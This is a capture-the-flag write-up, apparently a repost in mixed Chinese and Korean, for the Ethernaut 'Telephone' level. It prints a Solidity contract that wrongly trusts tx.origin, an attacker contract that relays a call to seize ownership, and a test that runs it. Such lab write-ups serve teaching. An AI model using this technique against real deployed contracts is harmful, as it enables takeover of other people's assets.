Ethernaut系列-레벨 4(전화)
레벨 4 (전화)
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
通关要求
소유자 设为player
要点
合约里判断调用人, 一定要用 msg.sender, 不要用tx.origin
解题思路
写个合约调用关卡合约,再用javascript调用自己的合约,tx.origin과msg.sender就会不一定
계약/04TelephoneRun.sol
interface ILevel {
function changeOwner(address _owner) external;
}
contract TelephoneRun {
function run(address _levelAddress) external {
ILevel(_levelAddress).changeOwner(msg.sender);
}
}
test/04Telephone.js
it("attacks", async function () {
await runContract.connect(player).run(levelContract.address);
});
Reference
이 문제에 관하여(Ethernaut系列-레벨 4(전화)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-4telephone-42hh텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)